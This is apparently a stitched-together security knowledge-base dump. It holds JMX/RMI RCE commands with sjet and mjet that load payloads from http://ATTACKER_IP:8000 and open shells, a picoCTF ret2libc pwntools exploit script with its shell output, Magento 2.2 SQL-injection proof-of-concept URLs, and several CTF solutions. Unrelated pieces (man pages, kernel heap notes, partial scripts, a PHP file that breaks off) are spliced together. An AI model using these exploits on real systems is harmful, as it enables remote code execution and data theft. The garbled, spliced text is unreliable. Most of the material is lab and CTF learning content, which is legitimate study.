| Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code execution.
| rmi-dumpregistry:
| jmxrmi
| javax.management.remote.rmi.RMIServerImpl_Stub
```
Using [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser):
```bash
$ rmg scan 172.17.0.2 --ports 0-65535
[+] Scanning 6225 Ports on 172.17.0.2 for RMI services.
[+]
[+] [HIT] Found RMI service(s) on 172.17.0.2:40393 (DGC)
[+] [HIT] Found RMI service(s) on 172.17.0.2:1090 (Registry, DGC)
[+] [HIT] Found RMI service(s) on 172.17.0.2:9010 (Registry, Activator, DGC)
[+] [6234 / 6234] [#############################] 100%
[+]
[+] Portscan finished.
```
```bash
$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]
[+] - legacy-service
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]
[+] - plain-server
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]
[...]
```
Using Metasploit
```bash
use auxiliary/scanner/misc/java_rmi_server
set RHOSTS <IPs>
set RPORT <PORT>
run
```
## Exploitation
### RCE using sjet or mjet
#### Requirements
- Jython
- The JMX server can connect to a http service that is controlled by the attacker
- JMX authentication is not enabled
#### Remote Command Execution
The attack involves the following steps:
* Starting a web server that hosts the MLet and a JAR file with the malicious MBeans
* Creating a instance of the MBean javax.management.loading.MLet on the target server, using JMX
* Invoking the "getMBeansFromURL" method of the MBean instance, passing the webserver URL as parameter. The JMX service will connect to the http server and parse the MLet file.
* The JMX service downloads and loades the JAR files that were referenced in the MLet file, making the malicious MBean available over JMX.
* The attacker finally invokes methods from the malicious MBean.
Exploit the JMX using [sjet](https://github.com/siberas/sjet) or [mjet](https://github.com/mogwailabs/mjet)
```powershell
jython sjet.py TARGET_IP TARGET_PORT super_secret install http://ATTACKER_IP:8000 8000
jython sjet.py TARGET_IP TARGET_PORT super_secret command "ls -la"
jython sjet.py TARGET_IP TARGET_PORT super_secret shell
jython sjet.py TARGET_IP TARGET_PORT super_secret password this-is-the-new-password
jython sjet.py TARGET_IP TARGET_PORT super_secret uninstall
jython mjet.py --jmxrole admin --jmxpassword adminpassword TARGET_IP TARGET_PORT deserialize CommonsCollections6 "touch /tmp/xxx"
jython mjet.py TARGET_IP TARGET_PORT install super_secret http://ATTACKER_IP:8000 8000
jython mjet.py TARGET_IP TARGET_PORT command super_secret "whoami"
jython mjet.py TARGET_IP TARGET_PORT command super_secret shell
```
### RCE using Metasploit
```bash
use exploit/multi/misc/java_rmi_server
set RHOSTS <IPs>
set RPORT <PORT>
# configure also the payload if needed
run
```
## References
* [ATTACKING RMI BASED JMX SERVICES - HANS-MARTIN MÜNCH, 28 April 2019](https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/)
* [JMX RMI – MULTIPLE APPLICATIONS RCE - Red Timmy Security, 26 March 2019](https://www.exploit-db.com/docs/english/46607-jmx-rmi-–-multiple-applications-remote-code-execution.pdf)
* [remote-method-guesser - BHUSA 2021 Arsenal - Tobias Neitzel, 15 August 2021](https://www.slideshare.net/TobiasNeitzel/remotemethodguesser-bhusa2021-arsenal)
|
sec-knowleage
|
# got-2-learn-libc
Binary Exploitation, 250 points
## Description:
> This program gives you the address of some system calls. Can you get a shell?
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 148
#define FLAGSIZE 128
char useful_string[16] = "/bin/sh"; /* Maybe this can be used to spawn a shell? */
void vuln(){
char buf[BUFSIZE];
puts("Enter a string:");
gets(buf);
puts(buf);
puts("Thanks! Exiting now...");
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Here are some useful addresses:\n");
printf("puts: %p\n", puts);
printf("fflush %p\n", fflush);
printf("read: %p\n", read);
printf("write: %p\n", write);
printf("useful_string: %p\n", useful_string);
printf("\n");
vuln();
return 0;
}
```
## Solution:
For this challenge it's important to know that:
* Given a number of libc runtime function addresses, it's possible to find the actual libc version used.
* Given a runtime address of a libc function, together with the address of the function symbol in the libc library, it's possible to calculate (through simple subtraction) the runtime address of the libc base.
* Given the address of the runtime libc base, and the libc version, it's possible to calculate the address of any runtime libc function or data.
This challenge serves everything we need on a silver platter.
### Step #1: Identify LibC Version
For this, we just need to run the program on the server and check the output:
```console
user@pico-2018-shell-3:/problems/got-2-learn-libc_0_4c2b153da9980f0b2d12a128ff19dc3f$ ./vuln
Here are some useful addresses:
puts: 0xf7664140
fflush 0xf7662330
read: 0xf76d9350
write: 0xf76d93c0
useful_string: 0x5661c030
Enter a string:
Test
Test
Thanks! Exiting now...
```
Now that we have several libc function addresses, it's possible to use an online service such as [libc database search](https://libc.blukat.me/?q=fflush%3A330%2Cread%3A350%2Cputs%3A140%2Cwrite%3A3c0&l=libc6-i386_2.23-0ubuntu10_amd64) or download locally the [libc-database](https://github.com/niklasb/libc-database) tool in order to locate the correct libc version:
```console
root@kali:~/utils/libc-database# ./find fflush 330 read 350 write 3c0 puts 140
ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64)
```
The remote version is libc6-i386_2.23-0ubuntu10_amd64.
Note that we've only entered the last 3 digits of the address, since usually anything more isn't needed.
Also note that when running the program locally, we get different addresses:
```console
root@kali:/media/sf_CTFs/pico/got-2-learn-libc# ./vuln
Here are some useful addresses:
puts: 0xf7dc0e30
fflush 0xf7dbefd0
read: 0xf7e3f130
write: 0xf7e3f200
useful_string: 0x5660f030
Enter a string:
Test
Test
Thanks! Exiting now...
```
We can use the same trick to find the local libc version, but calling `ldd` is easier:
```console
root@kali:/media/sf_CTFs/pico/got-2-learn-libc# ldd vuln
linux-gate.so.1 (0xf7fb5000)
libc.so.6 => /lib32/libc.so.6 (0xf7dbf000)
/lib/ld-linux.so.2 (0xf7fb7000)
```
The local version is /lib32/libc.so.6.
### Step #2: Identify LibC Base
Now that we have the libc version and the runtime address of a libc function, we can identify the libc runtime base address by performing the following calculation:
libc_base = runtime_address_of_func - symbol_address_of_func.
In our case, we will take `read()` as an example.
We already have the runtime address from the program output (0xf76d9350), we can use libc-database to get the symbol address:
```console
root@kali:~/utils/libc-database# ./dump libc6-i386_2.23-0ubuntu10_amd64 read
offset_read = 0x000d4350
```
Therefore:
libc_base = 0xf76d9350 - 0x000d4350 = 0xf7605000
It's usually a good sign that the result is 4K aligned.
Note: The addresses will change between runs due to ASLR.
### Step #3: Find system() Offset
Now that we have the runtime libc base address and version, we can perform the following calculation in order to get the runtime address of any libc function (or object):
requested_runtime_address = libc_base_address + libc_symbol_address.
For example, if we want to call `system()`, we first need to find the symbol address:
```console
root@kali:~/utils/libc-database# ./dump libc6-i386_2.23-0ubuntu10_amd64 system
offset_system = 0x0003a940
```
We then just calculate: 0xf7605000 + 0x0003a940 = 0xf763f940.
### Step #4: From Buffer Overflow to Shell
The buffer overflow here is very simple:
```c
char buf[BUFSIZE];
puts("Enter a string:");
gets(buf);
puts(buf);
```
`BUFSIZE` is defined as 148, so any input larger than that will overflow the buffer and allow us to take over the stack (and therefore the program execution flow).
We want to call `system()` with the following parameter, which will give us a shell:
```c
char useful_string[16] = "/bin/sh"; /* Maybe this can be used to spawn a shell? */
```
The offset of the string is also kindly printed by the program:
```
useful_string: 0x5661c030
```
The stack layout before the overflow is as follows:
```
+---------+
| old ebp | <-- ebp
+---------+
| ret | <-- ebp + 0x4
+---------+
```
After the overflow, we will override it as follows:
```
+---------+
| AAAA | <-- ebp
+---------+
| system | <-- ebp + 0x4
+---------+
| BBBB | <-- ebp + 0x8
+---------+
| &binsh | <-- ebp + 0xc
+---------+
```
When the `vuln` function returns, it pops ebp and returns to (ebp + 0x4), which sends it to `system`.
The stack that `system` meets before the prolog is:
```
+---------+
| BBBB |
+---------+
| &binsh |
+---------+
```
It then performs the prolog (push ebp, mov ebp, esp) and gets:
```
+---------+
| old ebp | <-- ebp
+---------+
| BBBB | <-- ebp + 0x4
+---------+
| &binsh | <-- ebp + 0x8
+---------+
```
Which means that `system` will treat the address of "/bin/sh" as its argument, and give us a shell.
### Scripting with pwntools
Putting it all together:
```python
from pwn import *
import argparse
import os
EXECUTABLE = "vuln"
LOCAL_PATH = "./"
REMOTE_PATH = "/problems/got-2-learn-libc_0_4c2b153da9980f0b2d12a128ff19dc3f/"
SSH_SERVER = "2018shell3.picoctf.com"
def get_process_path(is_ssh = False):
if is_ssh or os.path.exists(REMOTE_PATH):
return REMOTE_PATH + EXECUTABLE
else:
return LOCAL_PATH + EXECUTABLE
def get_process(ssh_user = None):
is_ssh = ssh_user is not None
path = get_process_path(is_ssh)
params = {"argv": path, "cwd": os.path.dirname(path)}
if is_ssh:
s = ssh(host=SSH_SERVER, user=ssh_user)
p = s.process(**params)
else:
p = process(**params)
return p
def get_overflow_offset():
# It's problematic to create a core dump on an NTFS file system,
# so reconfigure core dumps to be created elsewhere
os.system("echo ~/core/core_dump > /proc/sys/kernel/core_pattern")
proc = process(get_process_path())
payload = cyclic(200)
proc.sendlineafter("Enter a string:", payload)
proc.wait()
offset = cyclic_find(proc.corefile.eip)
log.info("Overflow offset: {}".format(offset))
return offset
parser = argparse.ArgumentParser()
parser.add_argument("-s", "--ssh_user", help="Connect via SSH with the given username", required = True)
args = parser.parse_args()
offset = get_overflow_offset()
e = ELF(get_process_path())
context.binary = e.path
libc = ELF(LOCAL_PATH + "libc6-i386_2.23-0ubuntu10_amd64.so")
p = get_process(args.ssh_user)
output = p.recvuntil("Enter a string:")
binsh = int(re.search("useful_string: 0x([0-9a-f]+)", output, re.MULTILINE).group(1), 16)
log.info("Address of /bin/sh: {}".format(hex(binsh)))
addr_read = int(re.search("read: 0x([0-9a-f]+)", output, re.MULTILINE).group(1), 16)
log.info("Address of read(): {}".format(hex(addr_read)))
libc_base = addr_read - libc.symbols["read"]
log.info("libc base: {}".format(hex(libc_base)))
#Rebase libc
libc.address = libc_base
#Not needed since libc was rebased: system_addr = p32(libc_base + libc.symbols["system"])
system_addr = libc.symbols["system"]
log.info("Address of system(): {}".format(hex(libc.symbols["system"])))
r = ROP(libc)
r.system(binsh)
print r.dump()
payload = fit({offset: str(r)})
p.sendline(payload)
p.interactive()
```
Output:
```console
root@kali:/media/sf_CTFs/pico/got-2-learn-libc# python exploit.py --ssh_user $pico_ssh_user
[+] Starting local process './vuln': pid 4036
[*] Process './vuln' stopped with exit code -11 (SIGSEGV) (pid 4036)
[+] Parsing corefile...: Done
[*] '/media/sf_CTFs/pico/got-2-learn-libc/core.4036'
Arch: i386-32-little
EIP: 0x62616170
ESP: 0xff8a2090
Exe: '/media/sf_CTFs/pico/got-2-learn-libc/vuln' (0x565ce000)
Fault: 0x62616170
[*] Overflow offset: 160
[*] '/media/sf_CTFs/pico/got-2-learn-libc/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[*] '/media/sf_CTFs/pico/got-2-learn-libc/libc6-i386_2.23-0ubuntu10_amd64.so'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Connecting to 2018shell3.picoctf.com on port 22: Done
[*] user@2018shell3.picoctf.com:
Distro Ubuntu 16.04
OS: linux
Arch: amd64
Version: 4.4.0
ASLR: Enabled
[+] Starting remote process '/problems/got-2-learn-libc_0_4c2b153da9980f0b2d12a128ff19dc3f/vuln' on 2018shell3.picoctf.com: pid 543269
[*] Address of /bin/sh: 0x56640030
[*] Address of read(): 0xf7641350
[*] libc base: 0xf756d000
[*] Address of system(): 0xf75a7940
[*] Loaded cached gadgets for './libc6-i386_2.23-0ubuntu10_amd64.so'
0x0000: 0xf75a7940 system(0x56640030)
0x0004: 'baaa' <return address>
0x0008: 0x56640030 arg0
[*] Switching to interactive mode
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaab@yZbaaa0
Thanks! Exiting now...
$ $ ls
flag.txt vuln vuln.c
$ $ cat flag.txt
picoCTF{syc4al1s_4rE_uS3fUl_b61928e8}$ $ exit
[*] Got EOF while reading in interactive
$
[*] Stopped remote process 'vuln' on 2018shell3.picoctf.com (pid 543269)
[*] Got EOF while sending in interactive
root@kali:/media/sf_CTFs/pico/got-2-learn-libc#
```
The flag: picoCTF{syc4al1s_4rE_uS3fUl_b61928e8}
|
sec-knowleage
|
# SmellyOnion
Misc., 10 points
## Description
> I cry when I cut onions.
An archive file was provided.
## Solution
Let's extract the provided archive file:
```console
root@kali:/media/sf_CTFs/kaf/SmellyOnion# file smelly-onion.rar
smelly-onion.rar: RAR archive data, v5
root@kali:/media/sf_CTFs/kaf/SmellyOnion# mkdir temp
root@kali:/media/sf_CTFs/kaf/SmellyOnion# cp smelly-onion.rar temp
root@kali:/media/sf_CTFs/kaf/SmellyOnion# cd temp
root@kali:/media/sf_CTFs/kaf/SmellyOnion/temp# 7z x smelly-onion.rar
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_IL,Utf16=on,HugeFiles=on,64 bits,1 CPU Intel(R) Core(TM) i5-4330M CPU @ 2.80GHz (306C3),ASM,AES-NI)
Scanning the drive for archives:
1 file, 3475 bytes (4 KiB)
Extracting archive: smelly-onion.rar
--
Path = smelly-onion.rar
Type = Rar5
Physical Size = 3475
Solid = -
Blocks = 1
Encrypted = -
Multivolume = -
Volumes = 1
Everything is Ok
Size: 3405
Compressed: 3475
root@kali:/media/sf_CTFs/kaf/SmellyOnion/temp# ls
onion smelly-onion.rar
root@kali:/media/sf_CTFs/kaf/SmellyOnion/temp# file onion
onion: Zip archive data, at least v2.0 to extract
```
We get a zip file. Let's try to extract it as well:
```console
root@kali:/media/sf_CTFs/kaf/SmellyOnion/temp# 7z x onion
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_IL,Utf16=on,HugeFiles=on,64 bits,1 CPU Intel(R) Core(TM) i5-4330M CPU @ 2.80GHz (306C3),ASM,AES-NI)
Scanning the drive for archives:
1 file, 3405 bytes (4 KiB)
Extracting archive: onion
--
Path = onion
Type = zip
Physical Size = 3405
Comment = 4b
Everything is Ok
Size: 3348
Compressed: 3405
root@kali:/media/sf_CTFs/kaf/SmellyOnion/temp# ls
80 onion smelly-onion.rar
root@kali:/media/sf_CTFs/kaf/SmellyOnion/temp# file 80
80: Zip archive data, at least v2.0 to extract
```
We get another zip file. If we extract it - you guessed correctly, we get another one and so on.
The trivial way to proceed is to extract all layers of this onion and inspect the files. However, at the end of the road we find an empty file, so clearly we need to search elsewhere.
How about the zip file comments?
```console
root@kali:/media/sf_CTFs/kaf/SmellyOnion/temp# 7z l onion | grep -i comment
Comment = 4b
root@kali:/media/sf_CTFs/kaf/SmellyOnion/temp# python -c "print chr(0x4b)"
K
root@kali:/media/sf_CTFs/kaf/SmellyOnion/temp# 7z l 80 | grep -i comment
Comment = 41
root@kali:/media/sf_CTFs/kaf/SmellyOnion/temp# python -c "print chr(0x41)"
A
```
We can see that the first two comments, interpreted as a hex value representing an ASCII character, are `K` and `A`: The flag format!
Using the following script, we can extract all of the comments from the files:
```python
from zipfile import ZipFile
from StringIO import StringIO
input_zip = "smelly-onion/onion"
flag = ""
while True:
zip=ZipFile(input_zip)
zip_files = zip.namelist()
assert(len(zip_files) < 2)
if len(zip_files) == 0:
break
internal_file_name = zip_files[0]
internal_file_contents = zip.read(internal_file_name)
flag += chr(int(zip.comment, 16))
input_zip = zipdata = StringIO(internal_file_contents)
print flag
```
Output:
```console
root@kali:/media/sf_CTFs/kaf/SmellyOnion# python solve.py
KAF{21P_PH1L32_R_AW3S0M3_D0NT_Y0U_TH1NK}
```
|
sec-knowleage
|
nproc
===
打印可用的处理器单元数量。
## 概要
```shell
nproc [OPTION]...
```
## 主要用途
- 打印可用的处理器单元数量。
## 选项
```shell
--all 打印已安装处理器的数量。
--ignore=N 如果可以的情况下,排除 N 个处理单元。
--help 显示帮助信息并退出。
--version 显示版本信息并退出。
```
## 例子
```shell
[root@localhost ~]# nproc
8
```
### 注意
1. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 nproc`,`info coreutils 'nproc invocation'`。
|
sec-knowleage
|
#!/usr/bin/env python
from Crypto.Util.number import *
import os,sys
sys.stdin = os.fdopen(sys.stdin.fileno(), 'r', 0)
sys.stdout = os.fdopen(sys.stdout.fileno(), 'w', 0)
def read_key():
key_file = open("key")
n,e,d = map(int,key_file.readlines()[:3])
return n,e,d
def calc(n,p,input):
data = "X: "+input
num = bytes_to_long(data)
res = pow(num,p,n)
return long_to_bytes(res).encode('hex')
def read_flag():
flag = open('flag').read()
assert len(flag) >= 50
assert len(flag) <= 60
prefix = os.urandom(68)
return prefix+flag
if __name__ == '__main__':
n,e,d = read_key()
flag = calc(n,e,read_flag())
print 'Here is the flag!', flag
for i in xrange(100):
m = raw_input('give me your X value: ')
try:
m = m.decode('hex')[:15]
print calc(n,e,m)
except:
print 'no'
exit(0)
|
sec-knowleage
|
# 内核堆概述
类似于用户态进程中的堆(heap),内核也有着自己的一套动态内存管理机制,为了方便这里我们同样将内核中动态分配的内存称为“堆”。
Linux kernel 将内存分为 `页→区→节点` 三级结构,主要有两个内存管理器—— `buddy system` 与 `slab allocator`,前者负责以内存页为粒度管理所有可用的物理内存,后者则向前者请求内存页并划分为多个较小的对象(object)以进行细粒度的内存管理。
## 页→区→节点三级结构
这是一张十分经典的 _Overview_ ,自顶向下是
- **节点**(node,对应结构体 pgdata\_list)
- **区**(zone,对应结构体 zone,图上展示了三种类型的 zone)
- **页**(page,对应结构体 page)
### 页(page)
Linux kernel 中使用 `page` 结构体来表示一个物理页框,**每个物理页框都有着一个对应的 page 结构体**:
### 区(zone)
在 Linux 下将一个节点内不同用途的内存区域划分为不同的 `区(zone)`,对应结构体 `struct zone`:
### 节点(node)
zone 再向上一层便是**节点**——Linux 将_内存控制器(memory controller)_作为节点划分的依据,对于 UMA 架构而言只有一个节点,而对于 NUMA 架构而言通常有多个节点,对于同一个内存控制器下的 CPU 而言其对应的节点称之为_本地内存_,不同处理器之间通过总线进行进一步的连接。如下图所示,一个 MC 对应一个节点:
## buddy system
buddy system 是 Linux kernel 中的一个较为底层的内存管理系统,**以内存页为粒度管理者所有的物理内存**,其存在于 **区** 这一级别,对当前区所对应拥有的所有物理页框进行管理.
在每个 zone 结构体中都有一个 free\_area 结构体数组,用以存储 buddy system **按照 order 管理的页面**:
```c
struct zone {
//...
struct free_area free_area[MAX_ORDER];
//...
```
其中的 `MAX_ORDER` 为一个常量,值为 11.
在 buddy system 中按照空闲页面的连续大小进行分阶管理,这里的 order 的实际含义为**连续的空闲页面的大小**,不过单位不是页面数,而是`阶`,即对于每个下标而言,其中所存储的页面大小为:
$$
2^{order}
$$
在 free\_area 中存放的页面通过自身的相应字段连接成双向链表结构,由此我们得到这样一张 _Overview_ :
- 分配:
- 首先会将请求的内存大小向 2 的幂次方张内存页大小对齐,之后从对应的下标取出连续内存页。
- 若对应下标链表为空,则会从下一个 order 中取出内存页,一分为二,装载到当前下标对应链表中,之后再返还给上层调用,若下一个 order 也为空则会继续向更高的 order 进行该请求过程。
- 释放:
- 将对应的连续内存页释放到对应的链表上。
- 检索是否有可以合并的内存页,若有,则进行合成,放入更高 order 的链表中。
## slab allocator
slab allocator 则是更为细粒度的内存管理器,其通过向 buddy system 请求单张或多张连续内存页后再分割成同等大小的**对象**(object)返还给上层调用者来实现更为细粒度的内存管理。
slab allocator 一共有三种版本:
- slab(最初的版本,机制比较复杂,效率不高)
- slob(用于嵌入式等场景的极为简化版本)
- slub(优化后的版本,**现在的通用版本**)
### 基本结构
`slub` 版本的 allocator 为现在绝大多数 Linux kernel 所装配的版本,因此本篇文章主要叙述的也是 slub allocator,其基本结构如下图所示:
我们将 slub allocator 每次向 buddy system 请求得来的单张/多张内存页称之为一个 `slub`,其被分割为多个同等大小对象(object),每个 object 作为一个被分配实体,在 slub 的第一张内存页对应的 page 结构体上的 freelist 成员指向该张内存页上的第一个空闲对象,一个 slub 上的所有空闲对象组成一个以 NULL 结尾的单向链表。
> 一个 object 可以理解为用户态 glibc 中的 chunk,不过 object 并不像 chunk 那样需要有一个 header,因为 page 结构体与物理内存间存在线性对应关系,我们可以直接通过 object 地址找到其对应的 page 结构体。
`kmem_cache` 为一个基本的 allocator 组件,其用于分配某个特定大小(某种特定用途)的对象,所有的 kmem\_cache 构成一个双向链表,并存在两个对应的结构体数组 `kmalloc_caches` 与 `kmalloc_dma_caches`。
一个 `kmem_cache` 主要由两个模块组成:
- `kmem_cache_cpu`:这是一个**percpu 变量**(即每个核心上都独立保留有一个副本,原理是以 gs 寄存器作为 percpu 段的基址进行寻址),用以表示当前核心正在使用的 slub,因此当前 CPU 在从 kmem\_cache\_cpu 上取 object 时**不需要加锁**,从而极大地提高了性能
- `kmem_cache_node`:可以理解为当前 `kmem_cache` 的 slub 集散中心,其中存放着两个 slub 链表:
- partial:该 slub 上存在着一定数量的空闲 object,但并非全部空闲。
- full:该 slub 上的所有 object 都被分配出去了。
### 分配/释放过程
那么现在我们可以来说明 slub allocator 的分配/释放行为了:
- 分配:
- 首先从 `kmem_cache_cpu` 上取对象,若有则直接返回。
- 若 `kmem_cache_cpu` 上的 slub 已经无空闲对象了,对应 slub 会被从 `kmem_cache_cpu` 上取下,并尝试从 **partial** 链表上取一个 slub 挂载到 `kmem_cache_cpu` 上,然后再取出空闲对象返回。
- 若 `kmem_cache_node` 的 partial 链表也空了,那就**向 buddy system 请求分配新的内存页**,划分为多个 object 之后再给到 `kmem_cache_cpu`,取空闲对象返回上层调用。
- 释放:
- 若被释放 object 属于 `kmem_cache_cpu` 的 slub,直接使用头插法插入当前 CPU slub 的 freelist。
- 若被释放 object 属于 `kmem_cache_node` 的 partial 链表上的 slub,直接使用头插法插入对应 slub 的 freelist。
- 若被释放 object 为 full slub,则其会成为对应 slub 的 freelist 头节点,**且该 slub 会被放置到 partial 链表**。
以上便是 slub allocator 的基本原理。
## REFERENCE
[https://arttnba3.cn/2021/11/28/OS-0X02-LINUX-KERNEL-MEMORY-5.11-PART-I/](https://arttnba3.cn/2021/11/28/OS-0X02-LINUX-KERNEL-MEMORY-5.11-PART-I/)
[https://arttnba3.cn/2022/06/30/OS-0X03-LINUX-KERNEL-MEMORY-5.11-PART-II/](https://arttnba3.cn/2022/06/30/OS-0X03-LINUX-KERNEL-MEMORY-5.11-PART-II/)
[https://arttnba3.cn/2023/02/24/OS-0X04-LINUX-KERNEL-MEMORY-6.2-PART-III/](https://arttnba3.cn/2023/02/24/OS-0X04-LINUX-KERNEL-MEMORY-6.2-PART-III/)
[https://blog.csdn.net/lukuen/article/details/6935068](https://blog.csdn.net/lukuen/article/details/6935068)
[https://www.cnblogs.com/LoyenWang/p/11922887.html](https://www.cnblogs.com/LoyenWang/p/11922887.html)
|
sec-knowleage
|
# The osiris, misc
The only thing in this task we had was this youtube link `https://www.youtube.com/watch?v=Je5E4jqEE_s`.
It seems like the `Osiris device` is transmitting some sort of a message.
The first step was to extract each of the 6bit words. I got a little bit too fancy with that, wanted to automate this task. It turned out not to be worth it, due to being error-prone and the fact that you could just write it all down in around 5 minutes.
But I managed to create some pretty images from trying automated approach, so that's cool :D


After writing down everything manually, looking at the data, I realised that every other 6bit word has first bit set, the rest just repeats from the last word. I assumed that first bit is just to signal the next message incoming.
`data.txt` contains data after removing first bit, resulting in 5bit words.
Now all I had to do was to figure out what is the format of this data. At this time there were no solves to the challenge, so I knew it's not trivial, but on the other hand it shouldn't be really complicated, if it was some sort of a cipher then the category would be crypto.
Things I tried or thought about:
- decoding as ASCII (with 5bit words, it doesnt make much sense because all the printable characters are in the 32-128 range)
- [Baudot code](https://en.wikipedia.org/wiki/Baudot_code)
- [4B5B](https://en.wikipedia.org/wiki/4B5B)
- reading them in 6,7,8 bit words instead of 5bit
- indexing english alphabet with those values
During the time that I was trying random stuff, some admin on IRC said that the flag is in "STCF{flag}" format. Using that information we can try to figure out the format of the data. If one 5bit word maps to one character, then 5th `{` and last characters `}` should only occur once(It's very unlikely those characters are in the flag).


This doesn't seem to be the case. One thing to notice here is that all the words have odd number of bits set. Having this constraint in mind, in those 5bits, you can only encode 4bit worth of information(16 different values).
Knowing that every 5bit word maps to 4bits, which turned out to be equal to `x >> 1` operation, I started looking at pairs of numbers, 8bit or 1byte of information looks promising.
We can try the `{` and `}` test again, taking pairs of 5bit words, 5th value is `11001 00001`, last one is `11010 00001`, both are unique, and even more than that, they are almost equal, they differ by just 1 at first word. We have to be on the right track. After transforming them to 4bits, we have `1100 0000` and `1101 0000`, which in ASCII does not make any sense.
Given the main theme of the ctf to be Matrix related, through the challenge I thought about matrix encodings multiple times(don't know if it was made on purpose tho :P), one of such encodings is [EBCDIC](https://en.wikipedia.org/wiki/EBCDIC), I've tried those values in the CCSID 500 variant and both characters matched. It turned out to be the solution.
Final script is in `decode.py`, and the flag it printed was `sctf{D3_m4ch1n35_4r3_4_d1gg1n_70_Z10N|}`, which is almost correct. Organizers used some other standard of EBCDIC, but it's easy to guess that `|` should be `!`, so the final flag was `sctf{D3_m4ch1n35_4r3_4_d1gg1n_70_Z10N!}`, we did get first blood and 495points at the end of the CTF.
Even though final script is really simple, challenge involved a lot of guessing, data could be interpreted in a lot of ways.
|
sec-knowleage
|
# Magento 2.2 SQL注入漏洞
Magento(麦进斗)是一款新的专业开源电子商务平台,采用php进行开发,使用Zend Framework框架。设计得非常灵活,具有模块化架构体系和丰富的功能。
其prepareSqlCondition函数存在一处二次格式化字符串的bug,导致引入了非预期的单引号,造成SQL注入漏洞。
参考链接:
- https://www.ambionics.io/blog/magento-sqli
- https://devdocs.magento.com/guides/v2.2/release-notes/ReleaseNotes2.2.8CE.html
## 环境搭建
执行如下命令启动Magento 2.2.7:
```
docker compose up -d
```
环境启动后,访问`http://your-ip:8080`,即可看到Magento的安装页面。安装Magento时,数据库地址填写`mysql`,账号密码均为`root`,其他保持默认:

## 漏洞复现
分别访问如下链接:
- `http://your-ip:8080/catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=%3f&ids[0][product_id][to]=)))+OR+(SELECT+1+UNION+SELECT+2+FROM+DUAL+WHERE+1%3d0)+--+-`
- `http://your-ip:8080/catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=%3f&ids[0][product_id][to]=)))+OR+(SELECT+1+UNION+SELECT+2+FROM+DUAL+WHERE+1%3d1)+--+-`
可见,在执行`))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=1) -- -`和`))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=0) -- -`时,返回的HTTP状态码不同:


通过改变OR的条件,即可实现SQL BOOL型盲注。
利用[这个POC](https://github.com/ambionics/magento-exploits),可以读取管理员的session:

|
sec-knowleage
|
host
===
常用的分析域名查询工具
## 补充说明
**host命令** 是常用的分析域名查询工具,可以用来测试域名系统工作是否正常。
### 语法
```shell
host(选项)(参数)
```
### 选项
```shell
-a:显示详细的DNS信息;
-c<类型>:指定查询类型,默认值为“IN“;
-C:查询指定主机的完整的SOA记录;
-r:在查询域名时,不使用递归的查询方式;
-t<类型>:指定查询的域名信息类型;
-v:显示指令执行的详细信息;
-w:如果域名服务器没有给出应答信息,则总是等待,直到域名服务器给出应答;
-W<时间>:指定域名查询的最长时间,如果在指定时间内域名服务器没有给出应答信息,则退出指令;
-4:使用IPv4;
-6:使用IPv6.
```
### 参数
主机:指定要查询信息的主机信息。
### 实例
```shell
[root@localhost ~]# host www.jsdig.com
www.jsdig.com is an alias for host.1.jsdig.com.
host.1.jsdig.com has address 100.42.212.8
[root@localhost ~]# host -a www.jsdig.com
Trying "www.jsdig.com"
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 34671
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;www.jsdig.com. IN ANY
;; ANSWER SECTION:
www.jsdig.com. 463 IN CNAME host.1.jsdig.com.
Received 54 bytes from 202.96.104.15#53 in 0 ms
```
|
sec-knowleage
|
from library import *
if len(sys.argv) > 2:
n = int(sys.argv[2])
else:
n = None
i, o, t = load_npz(sys.argv[1], n)
t = t[:, 436000:465000]
align_fft(t, 1000)
inda = [j for j in range(len(i)) if i[j][0] == 0xaa]
indb = [j for j in range(len(i)) if i[j][0] != 0xaa]
t01 = t
ts = []
for ind in [inda, indb]:
t1 = t01[ind]
t1 = t1[:12]
ts.append(t1)
print len(ts[0]), len(ts[1])
smooth(ts[0], 50)
smooth(ts[1], 50)
show_red_green(ts[0], ts[1])
|
sec-knowleage
|
<?php
require __DIR__ . '/vendor/autoload.php';
use GuzzleHttp\Client;
header('Content-Type: application/json; charset=utf-8');
$client = new Client([
// Base URI is used with relative requests
'base_uri' => 'http://httpbin.org',
// You can set any number of default request options.
